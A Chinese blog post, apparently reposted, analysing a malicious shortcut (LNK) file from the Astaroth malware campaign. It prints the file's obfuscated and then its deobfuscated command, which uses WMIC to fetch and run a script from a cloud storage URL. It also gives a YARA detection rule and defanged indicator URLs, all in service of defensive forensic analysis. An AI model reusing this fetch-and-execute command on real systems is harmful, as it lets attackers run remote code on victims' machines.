记一次对恶意LNK文件的分析

Track-SSG   ·   发表于 2019-07-25 11:00:44   ·   漏洞文章

恶意LNK(快捷方式)文件常常是电子调查取证的重点。从攻击者的角度来说,一个很小容量的文件既可直接进行各种攻击,又可引入其他恶意软件;从防御者的角度来说,其内含的信息对于攻击后溯源分析有很大的用处。对于攻击者制造恶意LNK文件,MITRE ATT&CK框架将其描述为“shortcut modification”(T1023),总结如下:

快捷方式是一种引用其他文件或程序的通用方法,在系统启动或用户单击它时,就会打开或执行其他文件。攻击者可以通过快捷方式部署他们的持久性攻击工具。他们可能会创建一个新的快捷方式关联到某个恶意软件,同时把它伪装成一个合法的程序。或者攻击者也可以编辑已存在快捷方式的目标路径,这样受害者就会在不知不觉中运行恶意软件。

在2019年7月8日,微软发布的一篇博客文章,详细描述了一场名为Astaroth的恶意软件攻击活动。在这篇文章中我将就这场活动中名为certidao.htm.lnk的恶意LNK文件做一次分析,看看能从其中得到什么有用信息。你可以从Hybrid-Analysis看到它的有关信息。(SHA256: 82942e3356e6d3017e4952491d2a6d8ce5748cfd15387b5bcaaf45a3cb6cf35a)


首先我们看一下文件属性:


从上可以看出,其中“Target”(通常是文件引用)是一段代码,一旦点击快捷方式,代码就会运行。此外,“Comment”看起来像一堆乱码。

接下来,我们使用LECmd提取这个快捷方式的内部信息:

--- Header ---
  Target created:  2010-11-21 03:24:03
  Target modified: 2010-11-21 03:24:03
  Target accessed: 2010-11-21 03:24:03

  File size: 302,592
  Flags: HasTargetIdList, HasLinkInfo, HasName, HasArguments, HasIconLocation, IsUnicode, HasExpString
  File attributes: FileAttributeArchive
  Icon index: 64
  Show window: SwShowminnoactive (Display the window as minimized without activating it.)

Name: zvvvje4d5777hiqt2369aIEFLHKnncxmvbvjhsj2567hgeet286daUFFLHrnccmxbbrh2j2667lguet986ddaUFIHJrnnmmxbihsjj466lgukk980ddWYIIHJrbmcx
Arguments:  /V /C "set x=C77jhd2766:\\77jhd2766W77jhd2766i77jhd2766nd77jhd2766ow77jhd2766s\\s77jhd2766ys77jhd2766te77jhd2766m377jhd2766277jhd2766\\77jhd2766w77jhd2766b77jhd2766e77jhd2766m\\W77jhd2766M77jhd2766I77jhd2766C.e77jhd2766x77jhd2766e o77jhd2766s g77jhd2766e77jhd2766t UF77jhd2766H77jhd2766K77jhd2766m77jhd2766xi77jhd2766h277jhd2766, fre77jhd2766evi77jhd2766r77jhd2766t77jhd2766u77jhd2766a77jhd2766l77jhd2766me77jhd2766mo77jhd2766ry77jhd2766 /77jhd2766fo77jhd2766rm77jhd2766at:"h77jhd2766t77jhd2766t77jhd2766p77jhd2766s77jhd2766:77jhd2766/77jhd2766/st77jhd2766o77jhd2766r77jhd2766ag77jhd2766e.77jhd2766go77jhd2766og77jhd2766lea77jhd2766pis77jhd2766.co77jhd2766m77jhd2766/77jhd2766a77jhd2766w77jhd2766s77jhd2766d77jhd2766x/77jhd27660977jhd2766/v77jhd2766.t77jhd2766xt77jhd2766#0277jhd276650177jhd27664q277jhd2766977jhd2766I77jhd2766S77jhd2766q77jhd2766c77jhd2766z77jhd2766v" &&echo %x:77jhd2766=%|%ComSpec%"
Icon Location: %SystemRoot%\system32\imageres.dll

--- Link information ---
Flags: VolumeIdAndLocalba sePath

>>Volume information
  Drive type: Fixed storage media (Hard drive)
  Serial number: 086F96AF
  Label: (No label)
  Local path: C:\Windows\System32\cmd.exe

--- Target ID information (Format: Type ==> Value) ---

  Absolute path: My Computer\C:\Windows\System32\cmd.exe

  -Root folder: GUID ==> My Computer

  -Drive letter ==> C:

  -Directory ==> Windows
Short name: Windows
Modified: 2019-04-30 20:34:24
Extension block count: 1

--------- Block 0 (Beef0004) ---------
Long name: Windows
Created: 2009-07-14 03:20:10
Last access: 2019-04-30 20:34:24
MFT entry/sequence #: 671/1 (0x29F/0x1)

  -Directory ==> System32
Short name: System32
Modified: 2019-04-30 18:45:08
Extension block count: 1

--------- Block 0 (Beef0004) ---------
Long name: System32
Created: 2009-07-14 03:20:12
Last access: 2019-04-30 18:45:08
MFT entry/sequence #: 2549/1 (0x9F5/0x1)

  -File ==> cmd.exe
Short name: cmd.exe
Modified: 2010-11-21 03:24:04
Extension block count: 1

--------- Block 0 (Beef0004) ---------
Long name: cmd.exe
Created: 2010-11-21 03:24:04
Last access: 2010-11-21 03:24:04
MFT entry/sequence #: 20227/1 (0x4F03/0x1)

--- End Target ID information ---

--- Extra blocks information ---

>> Environment variable data block
   Environment variables: %ComSpec%

>> Special folder data block
   Special Folder ID: 37

>> Known folder data block
   Known folder GUID: 1ac14e77-02e7-4e5d-b744-2eb1ae5198b7 ==> System32

>> Property store data block (Format: GUID\ID Description ==> Value)
   46588ae2-4cbc-4338-bbfc-139326986dce\4 SID ==> S-1-5-21-814163198-2266970693-1875007973-1002

>> Tracker databa se block
   Machine ID: dedicado-web
   MAC Address: 00:26:b9:fd:e1:82
   MAC Vendor: DELL
   Creation: 2019-03-21 04:28:56

   Volume Droid: 8c78ff20-8b31-44de-bbba-eabca30a81ea
   Volume Droid Birth: 8c78ff20-8b31-44de-bbba-eabca30a81ea
   File Droid: d73dcd41-4b91-11e9-8dc8-0026b9fde182
   File Droid birth: d73dcd41-4b91-11e9-8dc8-0026b9fde182

从上面的“海量”输出中,我们可以看到不少有用信息。其中Arguments选项中明显是混淆后的恶意代码,我们把其中的77jhd2766删除,可得到如下命令:

Arguments:  /V /C "set x=C:\\Windows\\system32\\wbem\\WMIC.exe os get UFHKmxih2, freevirtualmemory /format:"https://storage.googleapis.com/awsdx/09/v.txt#025014q29ISqczv" &&echo %x:=%|%ComSpec%"

其中利用WMIC.exe去执行存在谷歌服务器上的文件。

硬件信息

除此以上攻击者想要执行的攻击命令,这个LNK文件还包含了攻击者机器的物理信息:

序列号:086F96AF

机器ID:dedicado-web

MAC地址:00:26:b9:fd:e1:82

MAC供应商:DELL

在以上攻击者所使用机器的硬件信息中,除了机器的厂商和MAC地址,还有一个值得关注的NetBios名称dedicado-web

我们再到谷歌中搜索“dedicado-web”,排除掉无关信息后,我发现了它和巴西地区知名的托管供应商OVH有联系。这也和Astaroth攻击活动主要针对巴西地区这一点相吻合。


其他信息

让我们再把目光转向其他数据。利用LNK文件中其他的数据项,配合我刚学的Yara规则(YARA是一款旨在帮助恶意软件研究人员识别和分类恶意软件样本的开源工具,使用YARA可以基于文本或二进制模式创建恶意软件家族描述信息,当然也可以是其他匹配信息。 ——Freebuf),我可以尝试确定这些“软件标记”是否在以前的恶意软件中出现过。Yara规则如下:

rule Astaroth
{
    meta:
        author = "@mattnotmax"
        date = "2019-07-15"
        description = "LNK file with a unique MAC address or NETBIOS name in relation to a Astaroth campaign"
        reference = "https://www.microsoft.com/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/"
    sample = "82942e3356e6d3017e4952491d2a6d8ce5748cfd15387b5bcaaf45a3cb6cf35a"

    strings:
        $mac = {00 26 B9 FD E1 82}
        $netbios = "dedicado-web" fullword ascii

    condition:
        uint16(0) == 0x4c and ($mac or $netbios)
}

通过在Hybrid-Analysis(穷人版VirusTotal)上进行搜索,我找到了22个结果,其中21个共享了样本,上传时间为2019年4月24日至2019年6月11日。


其中一些标记为#banload#apt,因此可能不相关。让我们再次使用LECmd处理它们,看看最后的结果:


可从上图中看到的,这些恶意文件的构成及其相似,而且其中命令代码混淆方式也几乎一样。我再利用CyberChef(开源数据分析工具),配合正则表达式,对得到的结果进行过滤,从数据中提取相关url:

[{"op":"Fork","args":["\\n","\\n",true]},{"op":"Register","args":["(?<=echo %x:)(.*)(?=\\=)",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R0"},"",true,false,true,false]},{"op":"Find / Replace","args":[{"option":"Simple string","string":"[]"},"",true,false,true,false]},{"op":"Extract URLs","args":[false]},{"op":"Defang URL","args":[true,true,false,"Everything"]},{"op":"Remove whitespace","args":[true,true,true,true,true,false]}]

结果如下:

hxxp://storage[.]googleapis[.]com/midgoldem/09/v[.]txt#025040xiuj6rl9d
hxxp://storage[.]googleapis[.]com/midgoldem/09/v[.]txt#025070xbhj6luk0
hxxp://storage[.]googleapis[.]com/xmoabx/04/v[.]txt#025051IJrmxxmir
hxxp://e8aUHrmmr[.]intelcore-i1[.]website:25/9/?13825xmuj8luk
hxxp://storage[.]googleapis[.]com/midgoldem/06/v[.]txt#025038Knmbj2257
hxxps://storage[.]googleapis[.]com/awsdx/09/v[.]txt#025050nmble0aUH
hxxps://storage[.]googleapis[.]com/ultramaker/09/v[.]txt#025010bvrhj267l
hxxps://storage[.]googleapis[.]com/ultramaker/09/v[.]txt#025060xjuf7hrl3
hxxps://storage[.]googleapis[.]com/ultramaker/09/v[.]txt#025060aIUIHKrnc
hxxp://storage[.]googleapis[.]com/kodesca/08/v[.]txt#025028jd3ISnxvj
hxxps://storage[.]googleapis[.]com/awsdx/09/v[.]txt#025014q29ISqczv
hxxps://storage[.]googleapis[.]com/ultramaker/08/v[.]txt#025018ef7hil69I
hxxps://storage[.]googleapis[.]com/awsdx/09/v[.]txt#025060jsf7il36h
hxxp://storage[.]googleapis[.]com/teslaasth/09/v[.]txt#025050ELKqxmvjd
hxxps://storage[.]googleapis[.]com/awsdx/09/v[.]txt#0250800UHbcbrs4
hxxp://storage[.]googleapis[.]com/kodesca/09/v[.]txt#025091e6UHrcxvs
hxxp://q39ESqczv[.]intelcore-i5[.]site:25020/09/?138025020qixvj22h
hxxps://storage[.]googleapis[.]com/ultramaker/06/v[.]txt#0250906uk8dWUIJ
hxxp://storage[.]googleapis[.]com/kodesca/04/v[.]txt#025058il39ELvmd
hxxp://storage[.]googleapis[.]com/kodesca/06/v[.]txt#025022e986IJrmc
hxxp://storage[.]googleapis[.]com/midgoldem/06/v[.]txt#025055rmxvs26ge

结尾

以上所有分析,只是我很短时间内的成果,你可以编写更完善的Yara规则,抓取到更复杂的,更多的恶意软件。此外,我们也可以看到,LNK文件中的多项元数据的也能极大帮助我们定位攻击者。

如果你有任何看法想和我交流,可以通过matt@bitofhex.com联系我。感谢你的阅读!

本文转载自白帽汇


打赏我,让我更有动力~

0 条回复   |  直到 2019-7-25 | 1158 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.